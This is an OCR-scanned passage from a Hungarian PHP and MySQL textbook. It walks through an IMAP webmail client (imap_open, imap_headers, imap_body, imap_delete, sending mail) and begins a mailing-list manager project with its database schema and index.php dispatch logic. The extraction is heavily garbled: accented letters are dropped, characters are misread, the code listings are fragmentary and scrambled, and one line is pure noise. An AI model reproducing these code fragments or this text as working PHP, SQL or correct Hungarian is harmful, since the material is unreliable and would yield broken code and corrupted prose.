Tnylegesen a lista_megjelenitese () fggvnyben kezdjk hasznlni a PHP IMAP fggvnyeit. A fggvny kt kulcsrsze a postafik megnyitsa s az zenetfejlcek olvassa. Felhasznli fikhoz tartoz postafikot a levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa () fggv nyt meghvva nyirunk meg. A 29.9 pldakd ezt a fggvnyt mutatja. 29.9 pldakd: A levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa ()fggvnye- Ezzel afggvnnyel kapcsoldunk afelhasznl postafikjhoz
function postafiok_megnyitasa($hitelesitett felhasznalo, ll ha csak egy postafik van, akkor vlasszuk ki! $fiok_azonosito)
if(fiokok_szama($hitelestett felhasznalo)==l)
$fiokok[O];
$fiokok[O];
fiok_beallitasok_lekerese($hitelesitett felhasznalo,
$fiok_azonos ito);
469
1 : 1 Sbeallitasok[port J
ll figyelmeztets elnyomsa,
29
Sbeallitasok[1tavoli_jelszo1]);
A fggvnynek tadand paramterek a kvetkezk: postafiok-Ennek a karakterlncnak kell tartalmaznia a kiszolgl s a postafik nevt, illetve opcionlisan a port szmt s a protokoll tpust. A szering formtuma a kvetkez:
{hostnevlprotokoll:port)fioknev
Ha a protokollt nem hatrozzuk meg, akkor alaprtelmezsben az !MAP lesz. Az ltalunk rt kdban megfigyelhet, hogy amennyiben a felhasznl egy adott fikhoz a POP3 protokollt vlasztotta ki, akkor mi is ezt lltjuk be. Pldul ahhoz, hogy a helyi gprl, az alaprtelmezett portokat hasznlva olvassuk be a leveleket, a kvetkez fiknevet kell hasznlni !MAP protokoll esetn:
{localhost:l43)INBOX
A fggvny opcionlis paramtereivel olyan dolgokat lltharunk be, rnint pldul az "open mailbox in read-only
mode'; vagyis a postafik megnyitsa csak olvassi mdban.
Figyeljk meg, hogy mieltt a postafikot meghatroz karakterlncot radtuk volna az imap_open ( ) fggvnynek, da rabonknt raktuk ssze az sszefih mveleti jel segtsgve!! gyeljnk e karakterlnc ellltsnl, mert a {S karaktereket tartalmaz sztringek problmkat okozhatnak a PHP-ben. Ha a postafik megnyithat, akkor !MAP adatfolyamot (stream) ad vissza a fggvnyhvs, amennyiben nem, akkor pedig
false lesz a visszatrsi rtk. Ha mr befejeztk a munkt az !MAP adatfolyammal, az imap_close(imap_stream)
fggvnnyel zrhatjuk be. A fggvnyben az !MAP adatfolyamot adjuk vissza a f alkalmazsnak. Ezt kveten az imap_
headers () fggvnyekkel kapjuk meg a megjelentend e-mail fejlceket: $fejlecek
=
imap_headers(Simap);
Ez a fggvny az abban a postafikban tallhat sszes zenet fejlcadatt adja vissza, amelyikhez kapcsoldtunk. Az infor mcikat tmbknt kapjuk vissza, zenetenknt egy-egy sor adattal. Az informci ekkor mg formzaclan, a fggvny zene tenknt csak egy sort r ki. A 295 brn lthatjuk, hogyan nz ki a kimenet. A zavaran hasonl nev imap_header() fggvnnyel tbbet is megtudhatunk az e-mail fejlcekrL Jelen projektben azonban megelgsznk az imap_headers () fggvnytl kapott adatokkal is.
Levlzenet olvassa
Az elbb hasznlt lista_megj elenitese() fggvnyben minden zenethez az adott e-mailre mutat hivatkozst llrunk
Az u zenetiD a korbban visszakapott fejlcekben hasznlt sorszm. rdemes megjegyezni, hogy az !MAP zenetek szmozsa l-gye!, nem pedig O-val kezddik. Ha a felhasznl ezen hivatkozsok valamelyikre kattint, a 29.6 brn lthat kimenetet ltja bngszjben.
470
29.fezet
29
1oo-. .._ ool. n -. tu ...,.-U9 otln. --.ll.u ..... tal.l.U, =-u. ... u -- ... .,.._ - ..U -- ....... ,,_ -u- qUO w.- n .,.nu.........u..... -_""P<-. ...,_J... -l ..,n.,..- 111- -n.;,.......,., - .." -...._. u. ..-u 04-o -- "u.otu- --' ...u.1--. __ ...,,...,_.,...,.,__.-n -- Pu>a Ut - -=.o ..,.._" r.._. hU ,._.._ - U_ ... ,_".., -.-. ,."_..., - un......u u.,. ... -..- . .... __....,-... ..- .U.- uuo """'-
Amikor tadjuk ezeket a paramtereket az index. php fjlnak, a kvetkez kdot hajtjuk vgre:
case 'fejlecek-megjelenitese': case 'fejlecek-elrejtese':
case 'uzenet-megtekintese':
Irt ellenrizzk, hogy a $muvelet vltoz rrke a 'fej leeek-megjelenitese'-vel egyenl-e. Ebben az esetben ez a felttel nem teljesl, s gy a $teljesfejlecek rtkt false-ra lltjuk. Rvidesen megvizsgljuk a 'fej leeek
megjelenitese' mveletet is.
A
Steljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');
sort kicsit bvebben is kifejthertk volna, a kvetkez formban taln valamivel knnyebben rthet lenne:
if ($muvelet == else 'fejlecek-megjelenitese') true;
$teljesfejlecek
Steljesfejlecek = false;
Ezt kveten az uzenet megjelenitese() fggvnyt hvjuk meg. A fggvny kimenete nagyrszt HTML, ezrt most nem is foglalkozunk vele. Az uzenet_visszakeresese() fggvnyt hvja meg, hogy a postafik megfelel zenett kapjuk meg:
Suzenet = uzenet_visszakeresese($hitelesitett_felhasznalo, $teljesfejlecek); $fiok_azonosito, $uzenetiD,
A levelezo_ fuggvenyek. php knyvtrban tallhat uzenet_ visszakeresese () fggvny kdjt a 29.10 plda kd tartalmazza.
29.10 pldakd: A levelezo _fuggvenyek. php knyvtr uzenet_ visszakeresese ()fggvnye- A postafikbl egy
471
&&
$uzenetiD
&&
$fiok_azonosito))
postafiok_megnyitasa ($hitelesitett_felhasznalo,
$fiok_azonosito);
if (! $imap)
29
return false;
$uzenet['tartalom']
imap_body($imap,
$uzenetiD);
{
imap_fetchheader($imap, $uzenetiD);
$uzenet['teljesfejlec']
{
'
' . '
$uzenet['teljesfejlec']
$uzenet['targy']
$fejlec->targy;
=
$fejlec->felado_cime; $fejlec->masolatot_kap_cime;
= $fejlec->valasz_clm;
=
$uzenet['masolatot_kap_cime'] $uzenet['datum']
=
$fejlec->datum;
Megint csak a postafiok_megnyitasa () fggvnnyel nyitjuk meg a felhasznl postafikjt,most azonban egy konkrt zenet utn vagyunk.A fggvnyknyvtr segtsgvel kln-kln tltjk le az zenet fejlct s tartalmr. Az itt hasznlt hrom IMAP fggvny az imap_header (),az imap_fetchheader() s az imap_body ().Figyeljk meg. hogy az els kett,fejlcekkel kapcsolatos fggvny eltr a korbban hasznlt imap_headers () fggvnytl! Elnevez seik kiss zavarak lehetnek,ezrt most sszefoglaljuk s sszehasonltjuk mkdsket:
imap_headers () - Egy adott postafikban lv sszes zenet fejlcnek sszefoglalst adja vissza.A fggvny ltal
Ebben az esetben az imap_header () fggvnnyel krnk le meghatrozott fejlcmezket,ha pedig a felhasznl a teljes fejlcet kri,az imap_ fetchheader() fggvnnyel jelentjk meg azt szmra. (Erre a tmra a ksbbiekben mg visszat rnk.) Az imap_header() s imap_body () fggvnnyel az egyes zenetek bennnket rdekl elemeit tartalmaz tmbt ho zunk ltre. Az imap_header () fggvnyt a kvetkezkppen hvjuk meg:
$fejlec = imap_header($imap, $uzenet['targy'] $uzenetiD);
472
29. fejezet
$uzenet['tartalom'] = imap_body($imap,
$uzenetiD);
Vgl az imap_close () fggvnnyel bezrjuk a postafikot, majd visszaadjuk a ltrehozott tmbt az index. php kd nak. Ezt kveten az uzenet_megjelenitese ( ) fggvny a 29.6 brn lthat formban megjelenti az zenet mezit.
zenetfejlcek megjelentse
A 29.6 brn lthat, hogy az zenet felett a.,Fejlcek megjelentse" gombra kattintharunk. Ezzel a fej leeekmegjelenitese esemnyt aktivljuk, ami az zenettel egytt annak teljes fejlct megjelenti. Amikor a felhasznl a gomb
29
mvelettel az adott zenet teljes fejlce megjelenthet, ami segthet a felhasznlnak visszakvetni a levlszemt forrst.
Ahogy azt mr bizonyra szrevettk, az uzenet-megtekintese esemnykezelje a fej leeek-megj elen itese esemnyt (illetve annak prjt, a fejleeek-elrejtese-t) is lefedi. Ha az els bellts van kivlasztva, ugyangy jrunk el, mint korbban, de az uzenet_visszakeresese ( ) fggvnyben a fejlcek teljes szvegt fogjuk meg:
if($teljesfejlecek)
{
=
$uzenet['tel]esfejlec']
imap fetchheader($imap,
$uzenetiD);
zenet trlse
Ha a felhasznl valamelyik e-maiinl a.,Trls" gombra kattint, a 'torles' mveletet aktivlja. Ezzel az index. php albbi kdrszlett futtatja le:
case 'torles': $ SESSION [ 'kivalasztott_fiok'], //szndkosan nincs 'break' case 'fiok-kivalasztasa': uzenet torlese($ SESSION['hitelesitett felhasznalo'], $uzenetiD);
case 'postafiok-megtekintese':
A fenti sorokbl kiderl, hogy az zenetet az uzenet_torlese() fggvnnyel trljk, majd a trls utn kapott postafi kot a korbban bemutatott mdon megjelentjk. Az uzenet_tor lese () fggvny kdjt a 29.11 pldakd mutatja.
473
29.11 pldakd: A levelezo_fuggvenyek. ph p knyvtr uzenet_torlese ()fggvnye- Afggvny egy adott zenetet
trl a postafikbl
function uzenet torlese($hitelesitett_felhasznalo, $fiok_azonosito, $uzenetiD)
if($imap)
{
$uzenetiD);
imap_delete($imap,
29
return false;
Lthat, hogy a fggvny tbbIMAP fggvnyt is hasznl. Kzlk szmunkra j az imap_delete() s az imap_
expunge
().rdemes megjegyezni, hogy az imap_delete () fggvny csak kijelli az zeneteket a trlshez. Tetszleges
szm zenetet kijellhetnk gy, majd tnylegesen az i map_expunge ()meghvsval trljk ki ket.
Levlklds
Vgre eljutottunk a levlkldsig. Ez tbbflekppen is vgbemehet a kdban: a felhasznl j zenetet r, illetve berkez le vlre vlaszol, vagy tovbbtja azt. Nzzk, hogyan mkdnek ezek a mveletek!
j zenet kldse
A felhasznl az.,j zenet" gombra kattintva nyithat j levelet. Ezzel az 'uj-uzenet' mveletet vltja ki, ami a kvetkez kdot futtatja :
case 'uj-uzenet':
UJ uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$cimzett, break; $masolatot kap, $targy, $tartalom);
Az j zenet rlap egyszeren egy levlkldsre szolgl rlap. A 29.8 brn ltszik, hogy hogyan nz ki. Az brn valjban egy berkezett zenetre rt vlaszt ltunk, de az rlap j levl rsa esetn is ugyanez. Rvidesen a tovbbrst s a vlaszkldst is megvizsgljuk.
474
29.fezet
Az .. zenet kldse" gombra kattintva az 'uzenet-kuldese' mveletet indtjuk meg. Ez az albbi kdot hvja meg:
case 'uzenet-kuldese': if(uzenet kuldese($cimzett, $masolatot kap, $targy, $uzenet}}
lOOpx\">zenet elkldve.<lp>";
A kd az zenetet tnylegesen elkld uzenet_kuldese (}fggvnyt hvja meg. A fggvny kdjt a 29.12 pldakd mu-
29
tatja.
29.12 pldakd: A levelezo_fuggvenyek.php
$masolatot_kap,
$targy,
$uzenet}
felhasznaloi_nev='".$_SESSION['hitelesitett
$eredmeny = $kapcsolat->query($lekerdezes}; if
(! $eredmeny} {
return false; else if ($eredmeny->num_rows==0} return false; else
{
'.$sor->email_cim;
(! empty($masolatot kap}} {
$masolatot_kap";
$egyeb.="\r\nMsolatot kap:
$targy,
$uzenet,
$egyeb}}
return false;
A fenti sorokbl lthat, hogy a fggvny a mail (} fggvnnyel kld el az e-mailt. Eltte azonban kinyeri az adatbzisbl a felhasznl e-mail cmt, hogy berja az e-mail .. Felad" mezjbe.
475
{
$ SESSION['kivalasztott_fiok'l);
29
$fejlec->valasz_cim;
{
$fejlec->felado_cime;
$eimzett
break;
case 'valasz' :
{
$_SESSION['kivalasztott_fiok'l);
$imap = postafiok_megnyitasa($_SESSION['hitelesitett_felhasznalo'l,
$fejlec->valasz_cim;
{
$fejlec->felado_cime;
$eimzett
$targy = "Re:
".$fejlec->targy; $uzenetiD)));
break;
case
'tovabbitas':
476
29. fejezet
$imap
if($imap} $fejlee imap_header($imap, $uzenetiD}; $uzenetiD}}}; $tartalom = idezojel hozzaadasa(stripslashes(imap_body($imap, $targy = "Fwd: ".$fejlec->targy;
29
break;
Lthat, hogy az egyes mveletek a megfelel fejlcet belltva, szksg esetn formzst alkalmazva, majd az u j_u z enet_
urlap_megjelenitese(} fggvnyt meghvva hozzk ltre az rlapot.
A projekt tovbbfejlesztse
A projektet sokflekppen bvthetjk s fejleszthetjk tovbb. cletszerzs cljbl tnzhetjk a rendszeresen hasznlt leve lezalkalmazsunkat, de az albbi funkcikkal is gazdagthatjuk az eddig elkszlt programunkat: Knljuk fel regisztrci Iehetsgc az oldal felhasznlinak! (Erre a clra ismt hasznosthatjuk a Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezet egyes kdjait.) Tegyk lehetv a felhasznlknak, hogy egynl tbb e-mail cmer hasznlhassanak! A legtbb felhasznl nem egy e-mail cmmel rendelkezik -lehet nekik pldul otthoni s munkahelyi cmk. Azzal, hogy az eltrolt e-mail cmket a felhasznalek tblbl a fiokok tblba helyezzk t, lehetv tesszk, hogy tbb cmer hasznljanak. Ehhez ter mszetesen nhny helyen mdostani kell az alkalmazs kdjt is. Az zenet kldse rlapon pldul legrdl listbl kell kivlasztaniuk a hasznlni kvnt cmket. Tegyk lehetv, hogy csatolt llomnyokat tartalmaz zeneteket kldhessenek, fogadhassanak s tovbbthassanak! Ahhoz, hogy a felhasznJk kpesek legyenek csatolt fjlokat kldeni, A fjlrendszer s a kiszolgl elrse cm 19. feje zetben bemutatott fjlfeltlt funkcira van szksg. A mellkleteket tartalmaz zenetek kldsvel a Levelezlista-ke zel alkalmazs fejlesztse cm 30. fejezetben foglalkozunk. Hozzunk ltre nvjegyalbum-funkcikarl Hozzunk ltre hlzati hrolvas funkcikat! Az NNT P kiszolglrl !MAP fggvnyekkel val olvass majdnem telje sen megegyezik azzal, amikor postafikbl olvassuk ki annak tarralmt. A klnbsg annyi, hogy msik porrot s proto kollt kell az imap_open(} fggvny meghvsakor meghatrozni. Az INBOX nev postafik helyett az olvasni kvnt hrcsoportot kell megnevezni. A Webes frum fejlesztse cm 31. fejezetben szerepl mdszereket webalap hrolvas alkalmazs ltrehozshoz is felhasznlhatjuk.
Hogyan tovbb:
A kvetkez fejezetben is levelezshez kapcsold projekten dolgozunk. Olyan alkalmazst fogunk fejleszteni, amellyel kln bz tmj hrleveleket kldhetnk az oldalunkon feliratkoz felhasznlknak.
30
Levelezlista--kezel alkalmazs fejlesztse
Ha w eboldalunk mr kiterjedt ltogati bzissal rendelkezik, hasznos, ha a regisztrlt felhasznlkkal hrlevelek tjn tarthat juk a kapcsolatot. Ebben a fejezetben levelezlista kezelsre szolgl felletet fogunk fejleszteni. Lteznek olyan levelezlistk, ahol a feliratkozottak is tudnak az adott lista tagjainak zenetet kldeni, a fejezetben ltrehozand alkalmazs azonban olyan rendszer, amelyben csak a lista adminisztrtora kldhet zeneteket. Az alkalmazs neve Pyramid-MLM (mailing list manager, azaz levelezlista-kezel). Megoldsunk igen hasonl lesz a piacon megtallhat tbbi ilyen alkalmazshoz. Annak rdekben, hogy legyen elkpzel snk arrl, min fogunk dolgozni a fejezetben, ltogassunk el az ilyen jelleg zleti megoldsokat kinl http:/ /www.topica.com oldalra! Alkalmazsunk lehetv teszi az adminisztrtoroknak, hogy levelezlistkat hozzanak ltre, s klnbz hrleveleket kldjenek az egyes listkra. A fjlfelelt funkci biztostja annak lehetsgt, hogy feltltsk az offline ltrehozott hrlevelek szveges s HTML vltozatait. Ez azt jelenti, hogy az adminisztrtorok brmilyen nekik tetsz szaftverrel megalkothaljk a hrleveleket. A felhasznlk az oldal brmelyik levelezlistjra feliratkozhamak, s eldnthetik, hogy szveges vagy HTML formtum ban kvnjk-e megkapni a hrleveleket. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Fjlfeltlts tbb fjl esetn MIME kdolse-mail mellklecek HTML formtume-mailek Felhasznli jelszavak emberi beavatkozs nlkli kezelse
A megolds alkotelemei
Online hrlevlszerkeszt s -kld rendszert szetetnnk fejleszteni. A rendszernek biztostania kell a lehetsget, hogy kln bz hrleveleket hozhassunk ltre s kldhessnk a felhasznlknak, akiknek pedig fel kell tudniuk iratkozni egy vagy tbb hrlevlre. A megolds alkotelemei az albbi ltalnos cloknak kell, hogy megfeleljenek:
Az adminisztrtorok levelezlistkat hozharnak ltre s mdosthatjk a meglvket.
Az adminisztrtorok szveges s HTML hrleveleket kldhetnek az egyes levelezlistk sszes feliratkozott tagjnak.
A felhasznlk regisztrlhatnak az oldalon, majd belphetnek, s mdosthaljk adataikat. A felhasznlk feliratkozhatnak az oldal brmely listjra. A felhasznlk leiratkezhatnak azokrl a listkrl, amelyekre korbban feliratkoztak. A felhasznlk eldnthetik, hogy HTML formtumvagy egyszer szveges hrleveleket krnek. Biztonsgi okokbl a felhasznlk nem kldhetnek leveleket a listra, s nem lthaljk egyms e-mail cmt. A felhasznlk s az adminisztrtorok megtekinthetik a levelezlistkrl sszegyjttt informcikat. A felhasznlk s az adminisztrtorok megtekinthetik a korbban a listra elkldtt hrleveleket (archvum).
A projekt feladatnak ismeretben elkezdheljk megtervezni a megoldst s alkotelemeit, pldul a listk, a feliratkezottak s az archivlt hrlevelek adatbzisnak ltrehozst; az offline ltrehozott hrlevelek feltltst; a mellkleteket tartalmaz levelek kldst.
478
30.fezer
Hrlevelek feltltse
30
Olyan felletre van szksg, amellyel az adminisztrtor a korbban emltetteknek megfelelen hrlevelet kldher. Arrl viszont mg nem beszltnk, hogy az adminisztrtor hogyan hozza ltre a hrleveleket. Kszthernnk szmra egy rlapot, ahova begpelheri vagy bernsolhatja a hrlevl tartalmr. A rendszer felhasznlbart jellegr ersrherjk, ha lehetv tesszk az adminisztrtor szmra, hogy az ltala preferlt szerkeszralkalmazsban hozza ltre a hrlevelet, majd az gy elkszlt f:ijlt tltse fel a webszerverre. Ebben az esetben az adminisztrtor kpeket is egyszeren hozzadhar a HTML hrlevelekhez. Ehhez a 19. fejezetben megismert f:ijlfelrlt funkcit fogjuk felhasznlni. A korbbi projektekben ltott rlapoknl valamivel bonyolulrabbakkal kell most dolgoznunk. Ebben a projektben az admi nisztrtornak a hrlevl szveges s HTML verzijt, illetve az utbbi esetn a szveg kz kerl kpeket is fel kell tltenie. Miutn a hrlevelet feltlttte, ltre kell hozni egy olyan felletet, amelyen a klds eltt megtekintheti a hrlevl elnzett. Itt meggyzdhet arrl, hogy minden fjl feltltse megfelel mdon trtnt. Ne feledkezznk meg arrl sem, hogy ezeket a fjlokat el kell trolni egy archv knyvtrban, hogy a felhasznJk elolvas hassk a korbbi hrleveleked Annak a felhasznlnak, amelyikknt webszervernk fut, rsi jogosultsgokkal kell rendelkez nie ehhez a knyvtrhoz.A feltlt kd az . l archi ve/ knyvtrba ksrli meg berni a hrleveleket, ezrt gondoskodjunk a knyvtr ltrehozsrl, illetve a megfelel jogosultsgok belltsrl!
alkalmas, hogy HTML fjlban lv kpeket csatoljunk a levlhez. A csomag teleptshez A PHP
A megolds ttekintse
Hasonlan a
kvetnk a kd megrsa sorn. Az dindulst segrend ismt felrajzoljuk a folyamatbrkat, amelyek a felhasznJk lehetsges lpseit mutatjk a rendszer ben. Ebben a pldban hrom brval mutatjuk be a felhasznJk ltal elrhet funkcikat s szolgltatsokat. A felhasznl ms funkcikar rhet el az egyszer bejelentkezs eltt s a bejelentkezs utn, illetve adminisztrtorknt trtn bejelentkezs esern. Ezeket a funkcikar a 30.1, a 30.2, illetve a 30.3 bra mutatja. A 30.1 brn a nem bejelentkezett felhasznJk szmra elrhet lehetsgeket ltjuk. Egy ilyen felhasznl bejelentkezhet (ha mr rendelkezik felhasznli 6.kkal), ltrehozhatja fikjt (ha az mg nem ltezik), s megtekintheti a levelezlistkat, amelyekre a regisztrlt felhasznJk feliratkozhatnak (ez utbbi mintegy marketingeszkzknt is szolgl, kedvet csinl a re gisztrcihoz).
479
Not logged in
30.1 bra: A nem bejelentkezett Jelhasznlk csak korltozott szm lehetsg kzl vlaszthatnak. A 30.2 brn a bejelentkezett felhasznlk szmra elrhet funkcikat ltjuk. Megvltoztathatjk fikbelltsaikat (e-mail
cm s szemlyes belltsok), jelszavukat, illetve azt, hogy melyik listkta iratkeztak fel.
30
30.2 bra: Bejelentkezs utn tbbfle lehetsgk van belltsaik mdostsra. A 30.3 bra az adminisztrtorknt bejelentkezett felhasznlk szmra elrhet funkcikat mutatja. Lthat, hogy az ad
minisztrtor az ltalnos Felhasznlk ltal elrhet lehetsgek mellett tovbbi funkcikhoz is hozzfr. j levelezlistkat hozhat ltre, fjlfeltltssel j leveleket kszthet, illetve klds eltt megtekintheti azok elnzett. Mivel az alkalmazs esemnyvezrelt megkzeltst kvet, a gerinct ismt csak egyetlen fjl, az index. php tartalmazza, amely fggvnyknyvtrak sokasgt hvja meg.
A 30.1 tblzatban az alkalmazst alkot fjlok gyjtemnyt talljuk.
480
30. fejezet
30.1
Fjlnv
index.php beillesztett fuggvenyek.php adat_ellenorzo fuggvenyek.php
Lers
A teljes alkalmazst futtat, f kd Az alkalmazsba beillesztett fjlok gyjtemnye A felhasznlk ltal bevitt adatokat ellenrz fggv nyek gyjtemnye Az
mlm
adatbazis fuggvenyek.php
nyek gyjtemnye
mlm_fuggvenyek.php
A levelezlista kezelshez kapcsold fggvnyek gyj temnye A HTML kimenetet elllt fggvnyek gyjtemnye Az alkalmazs fjlfeltlt komponenst kezel kd; a biztonsg rdekben elklntettk a tbbi kdtl A felhasznlk hitelestsre hasznlt fggvnyek gyj temnye
Az mlm adatbzis, illetve egy ltalnos s egy admi
kimeneti_fuggvenyek.php feltoltes.php
30
Most pedig fogjunk hozz a projekt megvalstshoz! Munknkat a feliratkozottakra s a lisrkra vonatkoz informcikat trol adatbzis ltrehozsval kezeljk.
Az adatbzis ltrehozsa
Az alkalmazs mkdshez az albbi adatokat szksges eltrolnunk: Listk-Levelezlistk, amelyekre a felhasznlk feliratkozhatnak Felhasznlk - A rendszer felhasznli s az preferenciik Aliistk-Az egyes felhasznlkhoz tartoz olyan levelezlistk, amelyekre feliratkoztak (sok a sokhoz tpus kapcsolat) Hrlevl - Az elkldtt e-mailek rekordja Kpek-Nyomon kell kvetni az egyes hrlevelekbe kerl szveget, HTML-t s kpeket, mert szeretnnk tbb fjlbl ll hrleveleket is kldeni. Az adatbzis ltrehozsra szolgl SQL kdot a 30.1 pldakdban talljuk.
30.1 pldakd: adatbaz is_letrehozasa. sql -A z
CREATE DATABASE mlm;
USE mlm;
listaiD
listanev CHAR(20)
leiras VARCHAR(255) );
CREATE TABLE
felhasznalak
email CHAR(l00)
NOT NULL,
NOT NULL,
481
);
CREATE TABLE
hirlevel
hirleveliO INT AUTO_INCREMENT NOT NULL PRIMARY KEY, email CHAR(lOO) NOT NULL, targy CHAR(l00) NOT NULL, listaiD INT NOT NULL, allapot CHAR(lO) NOT NULL, kuldve DATETIME, modositva TIMESTAMP
30
#az adott hrlevlbe kerl kpeket trol tbla CREATE TABLE kpek
hirleveliO INT NOT NULL, eleresi_utvonal CHAR(l00) NOT NULL, mime_tipus CHAR(l00) NOT NULL );
INSERT,
UPDATE,
DELETE
TO mlm@localhost
IDENTIFIED BY 'jelszo';
INSERT INTO
('admin@localhost',
INSERT INTO
adatbazis_letrehozasa.sql
Meg kell adnunk root felhasznli jelszavunkat. (A kdot termszetesen a megfelel jogosultsgokkal rendelkez brmely MySQL-felhasznlval futtathatjuk, csak az egyszersg kedvrt vlasztottuk a rootot.) A kd futtatsa eltt vltoztassuk meg benne az
mlm
Az adatbzis egyes mezi tovbbi magyarhatot ignyelnek, fussuk t rviden ezeket! A listak tbla a listaiD s a listanev mezket tartalmazza. Itt tallhat tovbb a leiras mez, amely az egyes listkat bemutat, rvid szvegeket trolja. A a
felhasznalak
jelszo-t,
( email) s nevt ( valodi_nev ) tartalmazza. Trolja tovbb (admin) . A mime_tipus mezben rgztjk, hogy az egyes (email) , illetve a listak tblbl szrmaz listaiD
felhasznlk milyen pus hrlevelet kvnnak kapni. A HTML-t a H, a szveges verzit pedig a T jelzi. Az
al_listak
ket tartalmazza. A hirlevel tblban a rendszer ltal kkldtt hrlevelekrl tallunk informcikat. Trolja a hrlevelek egyedi azonos tjt
( hirleveliD) , a cmet, amelyrl a hrlevelet kldtk ( email) , az e-mail trgysort (targy) , valarnint annak a levelez
listnak a listaiD-jt, amelyre a levelet kldtk vagy kldeni fogjuk. Az zenet szvege vagy HTML-je akr igen nagy fjl is lehet, ezrt a hrlevelek archvumt az adatbzison kvl clszer trolnunk. Feljegyznk tovbb nhny ltalnos llapotin-
482
30. fejezet
formcit: azt, hogy a hrlevl el lett-e kldve ( allapot) , ha igen, akkor rnikor ( kuldve) , illetve eltrolunk egy idblyeget, ami azt jelzi, hogy mikor mdostottuk utoljra ezt a rekordot ( modositva) . Vgl a kepek tblval azt kveljk nyomon, hogy milyen kpek tartoznak az egyes HTML zenetekhez. A kpek mrete akr igen nagy is lehet, ezrt a hatkonysg megrzse rdekben az adatbzison kvl fogjuk trolni ket. Fel kell jegyeznnk, hogy a kpek melyik hrlevlhez tartoznak (hirleveliD ) , milyen eleresi_utvonal on troljuk ket, s rnilyen MIME
-
tpusak ( mime_tipus) - pldul image/gif. A 30.1 pldakdban lv SQL kd bellt tovbb egy felhasznlt, amelyknt a PHP csatlakozhat, valamint egy adminiszt rtort a levelezlista-rendszer kezelsre.
A kd architektrjnak meghatrozsa
Akrcsak az elz projektben, most is esemnyvezrelt megkzeltst kvetnk. Az alkalmazs gerince az index. php fjlban tallhat. Ez a kd az albbi fbb rszekbl ll ssze:
l. Elfeldolgozs vgrehajtsa. Itt a fejlcek kldse eltt szksges feladatokat vgezzk el.
30
2.
3. Mvelet vgreh;ytsa. Reagls az szlelt esemnyre. Akrcsak az elz pldban, itt is a $muvelet vltozban troljuk 4.
Oldallblcek kldse.
ezt
kdja
($ POST['jelszo']))
{
$ POST['jelszo']);
==
'admin')
{
SOpx\">
S_POST['email'];
{
SOpx\">
483
30
/********************************************************************** * 2.
rsz: fejlc ltrehozsa s megjelenitse
*********************************************************************/
'jelszo-megvaltoztatasa';
= 'fiok-beallitasok';
$gombok[2] = 'sajat-listak-megjelenitese'; $gombok[3] = 'egyeb-listak-megjelenitese'; $gombok[4] = 'kijelentkezes'; else if(admin_felhasznalo_ellenorzese()) ll adminisztrtor esetn $gombok[O] = 'jelszo-megvaltoztatasa'; $gombok[l] $gombok[2] $gombok[3] $gombok[4] $gombok[5] $gombok[6] $gombok[7] else 'levelezolista-letrehozasa'; 'hirlevel-letrehozasa'; 'hirlevel-megtekintese'; 'kijelentkezes'; 'osszes-lista-megjelenitese'; 'sajat-listak-megjelenitese'; 'egyeb-listak-megjelenitese';
ll ha nincs bejelentkezve
$gombok[O] $gombok[l] $gombok[4] 'uj-fiok'; 'osszes-lista-megjelenitese'; 'bejelentkezes';
if($muvelet)
ll fejlc megjelentse,
{
benne csak az alkalmazs nevvel
ll fejlc megjelentse,
html_fejlec_letrehozasa('Pyramid-MLM');
eszkozsor_megjelenitese($gombok);
484
30. fejezet
ll a fejlc eltt meghvott fggvnyek ltal ltrehozott szveg megjelenitse echo $allapot; /********************************************************************** * 3. rsz: mveletek vgrehajtsa
*********************************************************************/
ll bejelentkezs nlkl csak ezek a mveletek hajthatk vgre switch ($muvelet) case 'uj-fiok': ll munkamenet-vltozk trlse session_destroy(); fiok urlap_megjelenitese(); break;
30
case 'fiok-tarolasa': if (fiok_tarolasa($ SESSION ['altalanos felhasznala' l , $_SESSION['admin_felhasznalo'], $muvelet ''; $POST))
if(!beJelentkezes_ellenorzese()) bejelentkezesi_urlap_megjelenitese($muvelet);
break;
case 'bejelentkezes':
break;
case 'archivum-megjelenitese': elemek_megjelenitese(listanev_lekerese($_GET['id']). 'archvuma ', archivum_lekerese($_GET['id']), 'szoveges-megjelenitese', break; case 'informacio': informacio_megjelenitese($_GET['id']); break; ' '); 'HTML-megjelenitese',
ll az sszes tbbi mvelethez bejelentkezs szksges if(bejelentkezes_ellenorzese()) switch ($muvelet) case 'fiok-beallitasok':
485
case 'egyeb-listak-megjelenitese': elemek_megjelenitese('Nem krt levelezlistk', nem_feliratkozott listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'feliratkozas');
30
'
case '': case 'sajat-listak-megjelenitese': elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacie', break; 'archivum-megjelenitese', 'leiratkozas');
SOpx\">Sajnljuk,
jelszavt
break;
ll A kvetkez mveleteket csak adrnin felhasznl hajthatja vgre if(adrnin_felhasznalo_ellenorzese()) switch ($muvelet) case 'hirlevel-letrehozasa': hirlevel_urlap_megjelenitese(email lekerese());
486
30. fejezet
break; case 'levelezolista-letrehozasa': lista_urlap_megjelenitese(email_lekerese()); break; case 'lista-tarolasa': if(lista tarolasa($_SESSION['admin_felhasznalo'], $POST)) echo "<p style=\"padding-bottom: SOpx\">Az j lista hozz lett adva.<lp>"; elemek_megjelenitese('sszes lista', osszes_lista_lekerese(), 'informacio', 'archivum-megjelenitese',''); else echo "<p style=\"padding-bottom: SOpx\">A listt nem lehetett eltrolni. Krjk, prblja meg jra!<lp>";
30
break; case 'kuldes': kuldes($_GET['id'], $ SESSION['admin_felhasznalo']); break; case 'hirlevel-megtekintese': elemek_megjelenitese('El nem kldtt hrlevelek', elkldetlen_hirlevel lekerese(email lekerese()), 'HTML-elonezete', 'szoveges-elonezete', 'kuldes'); break;
A pldakdban egymstl jl lthatan elvlasztva jelennek meg a kd klnbz rszei. Az elfeldolgozsi rszben bellt juk a munkamenetet, s feldolgozzuk az oldalfejlc elkldse eltt vgzend mveleteket. Alkalmazsunkban a be- s kijelent kezs jelenti ezeket a mveleteket. A lblc-megjelents szakaszban llitjuk be a felhasznl ltal majdan lthat mengombokat, majd a kimeneti_
fuggvenyek.ph p knyvtr html_fejlee _letrehozasa () fggvnyvel megjelentjk a megfelel oldalfejlcet. Ez
